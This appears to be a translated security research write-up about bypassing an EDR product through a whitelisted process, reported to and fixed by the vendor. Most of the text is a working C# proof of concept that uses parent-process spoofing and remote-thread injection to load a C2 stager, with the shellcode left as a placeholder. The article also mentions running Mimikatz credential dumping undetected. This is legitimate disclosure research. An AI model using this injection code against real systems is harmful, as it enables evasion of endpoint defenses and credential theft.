本期分享的是三篇高质量的EDR漏洞挖掘相关的文章,提供了很不错的漏洞挖掘思路
介绍
这篇文章将是一长串文章中的第一篇,详细介绍了现代EDR产品上可以找到的一些常见缺陷。这绝不是一个完整的参考,但希望能提供一些实用工具来分析这些庞大的产品,并试图从黑匣子的角度理解它们的功能。
这些攻击实际上是针对 EDR 领域的顶级产品之一进行的,我们很幸运,供应商热衷于合作并为我们提供一个测试平台,我们可以在其中以安全可控的方式进行实验。我们相信,如果没有这种合作,就不可能取得我们所做的结果,希望在未来 EDR 能够更开放地接受研究人员的测试。毋庸置疑,与我们合作的特定供应商非常热衷于进行这种合作,并解决了我们报告的所有问题。
由于我们的目标不是点名和羞辱,并可能避免入狱,因此我们将此产品称为 STRANGETRINITY。
我们遵循的方法部分基于预先存在的研究,不可能不提到 MDSec 对 Cylance 的研究。总而言之,我们收集了以前的研究,并从配置和检测的角度确定了操作系统中 EDR 存在的一些位置:
·注入的 DLL
·注册表键
·网络通信
·安装/卸载过程
·文件隔离
在进行这项研究时,我们没有执行任何基于内核的分析,因为我们还没有这些技能。请注意,第一部分是在技术上于 2020 年执行的,因此请记住,在过去三年中,进攻和防御技术的发展都取得了极其快的进步。因此,不能保证该技术适用于实际的 (2023) 现代 EDR。
漏洞
这项研究从一个简单的假设开始:
如果进程未在内存中加载 EDR 挂钩 DLL,但其他进程加载了,则必须以某种方式将其列入白名单。对于那些不熟悉 EDR 架构的人来说,至少在过去,他们中的大多数人习惯于在大多数用户空间进程中注入 DLL。除其他事项外,这样做是为了执行用户空间挂钩。钩子是一种转移正常 API 调用的流程以修改其功能的做法,在游戏作弊开发者中非常流行。EDR 利用 API 挂钩来检查各种 API 的参数,这些参数可能被恶意软件滥用来执行进程注入等操作。我们的想法很简单,如果一个进程没有DLL,那么它可能不会像有DLL的进程那样得到检查。
如何验证这个假设?我们首先搜索安装了未加载 DLL 的产品的 VM 中的所有进程,使用了类似于以下内容的命令:
tasklist /m /FO CSV | findstr /i /v STRANGETRINITY.DLL```
具体来说,“tasklist /m”列举了所有进程和加载的模块,“/FO CSV”以CSV格式打印结果,随后通过“findstr”命令进行过滤。有趣的是,我们得到了一些打击!
"smss.exe","324","N/A"
"csrss.exe","452","N/A"
"wininit.exe","524","N/A"
"csrss.exe","532","N/A"
"services.exe","632","N/A"
"lsass.exe","640","N/A"
"STRANGETRINITY.exe","6748", [...]
"MsMpEng.exe","2892","N/A"
"svchost.exe","688","N/A"
"SecurityHealthService.exe","1796","N/A"
列表中的大多数进程都有一个保护级别 (PPL),这有效地阻止了我们在不依赖漏洞利用的情况下以有意义的方式与它们进行交互。但是,STRANGETRINITY.exe进程没有进程保护,并且与 EDR 解决方案本身有关。然后,我们执行了另一个 tasklist 命令来确认 DLL 确实没有被加载:
tasklist /m /fi "PID eq 6748"
Image Name PID Modules
========================= ======== ============================================
STRANGETRINITY.exe 6748 ntdll.dll,
KERNEL32.DLL, KERNELBASE.dll,
StrangeTrinity.dll, ADVAPI32.dll,
msvcrt.dll, sechost.dll, RPCRT4.dll,
USER32.dll, win32u.dll, GDI32.dll,
gdi32full.dll, msvcp_win.dll, ucrtbase.dll,
[...]
有趣的是,此进程也作为当前低权限用户帐户运行,使其成为注入的良好候选者。
经过几次试验和错误,我们发现效果最好的解决方案是利用PPID欺骗技术来创建一个新过程,就好像它是由STRANGETRINITY.EXE产生的一样。作为注入目标,我们决定生成另一个 STRANGETRINITY.EXE 实例。
就使用的注入技术而言,它是一个简单的 CreateRemoteThread 注入,结合 Covenant shellcode。
在制作并执行 PoC 后,我们立即在测试虚拟机上获得了一个植入物。这本身就已经令人惊讶了,因为我们使用的是已知的 C2 框架,没有混淆和极其基本的注入技术。然而,最有趣的事实是,有可能从该过程中执行各种开发后 TTP,并且不会检测到任何内容。举例来说,mimikatz 凭据转储 DLL 被注入到内存中,而没有引起任何检测。
请注意,这种忽略 ex 后 TTP 的特定行为仅在注入这种针对该特定过程的确切技术时才会发生。即使您设法注入信标而没有在另一个不相关的进程中引起检测,并尝试运行类似 mimikatz 之类的操作,您的会话也会被杀死。
这最终证实了我们最初的假设,即该过程确实被列入白名单。与供应商及其技术团队的对话非常有用,可以理解这是无意的行为。
概念验证代码
以下代码片段旨在用作概念证明,用于确认问题
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace GruntInjection
{
class Program
{
public const uint CreateSuspended = 0x00000004;
public const uint DetachedProcess = 0x00000008;
public const uint CreateNoWindow = 0x08000000;
public const uint ExtendedStartupInfoPresent = 0x00080000;
public const int ProcThreadAttributeParentProcess = 0x00020000;
// Hardcoded Grunt Stager
public static byte[] gruntStager = Convert.FromBase64String("[[shellcode here]]");
static void Main(string[] args)
{
if (args.Length < 2)
{
Console.Error.WriteLine("Invalid number of args");
return;
}
// Create new process
PROCESS_INFORMATION pInfo = CreateTargetProcess(args[0], int.Parse(args[1]));
// Allocate memory
IntPtr allocatedRegion = VirtualAllocEx(pInfo.hProcess, IntPtr.Zero, (uint)gruntStager.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ReadWrite);
// Copy Grunt PIC to new process
UIntPtr bytesWritten;
WriteProcessMemory(pInfo.hProcess, allocatedRegion, gruntStager, (uint)gruntStager.Length, out bytesWritten);
// Change memory region to RX
MemoryProtection oldProtect;
VirtualProtectEx(pInfo.hProcess, allocatedRegion, (uint)gruntStager.Length, MemoryProtection.ExecuteRead, out oldProtect);
// Create the new thread
CreateRemoteThread(pInfo.hProcess, IntPtr.Zero, 0, allocatedRegion, IntPtr.Zero, 0, IntPtr.Zero);
}
public static PROCESS_INFORMATION CreateTargetProcess(string targetProcess, int parentProcessId)
{
STARTUPINFOEX sInfo = new STARTUPINFOEX();
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
sInfo.StartupInfo.cb = (uint)Marshal.SizeOf(sInfo);
IntPtr lpValue = IntPtr.Zero;
try
{
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
pSec.nLength = Marshal.SizeOf(pSec);
tSec.nLength = Marshal.SizeOf(tSec);
uint flags = CreateSuspended | DetachedProcess | CreateNoWindow | ExtendedStartupInfoPresent;
IntPtr lpSize = IntPtr.Zero;
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
sInfo.lpAttributeList = Marshal.AllocHGlobal(lpSize);
InitializeProcThreadAttributeList(sInfo.lpAttributeList, 1, 0, ref lpSize);
IntPtr parentHandle = Process.GetProcessById(parentProcessId).Handle;
lpValue = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpValue, parentHandle);
UpdateProcThreadAttribute(sInfo.lpAttributeList, 0, (IntPtr)ProcThreadAttributeParentProcess, lpValue, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);
CreateProcess(targetProcess, null, ref pSec, ref tSec, false, flags, IntPtr.Zero, null, ref sInfo, out pInfo);
return pInfo;
}
finally
{
DeleteProcThreadAttributeList(sInfo.lpAttributeList);
Marshal.FreeHGlobal(sInfo.lpAttributeList);
Marshal.FreeHGlobal(lpValue);
}
}
[ ]
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[ ]
public static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
[ ]
public static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
[ ]
public static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);
[ ]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
[ ]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[ ]
static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, MemoryProtection flNewProtect, out MemoryProtection lpflOldProtect);
[ ]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[ ]
public struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[ ]
public struct STARTUPINFO
{
public uint cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttributes;
public uint dwFlags;
public ushort wShowWindow;
public ushort cbReserved;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdErr;
}
[ ]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[ ]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
[ ]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
[ ]
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
}
}
片尾
总结这个传奇的第一篇文章,我们可以强调这样一个事实,即这些产品虽然结构合理,并且由在全球范围内取得广泛成功的高水平技术专长组成,但仍然存在一些弱点。尽管我们展示的脆弱性很简单,但它的影响是不可否认的。
与反作弊产品不同,反作弊产品将精力集中在保护单个或有限数量的进程上,当涉及到 EDR(端点检测和响应)时,攻击面要广泛得多。这导致做出选择或假设,这些选择或假设将不可避免地被攻击者利用。在接下来的章节中,我们将演示有时如何在代理和租户之间的通信协议中攻击这些解决方案,以及针对这些产品通常准备好在安装它们的系统中使用的单个实用程序如何也是可行的,以可移植可执行文件的形式。
原文始发于微信公众号(合规渗透):今天不日站,打打EDR 第 1 部分
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论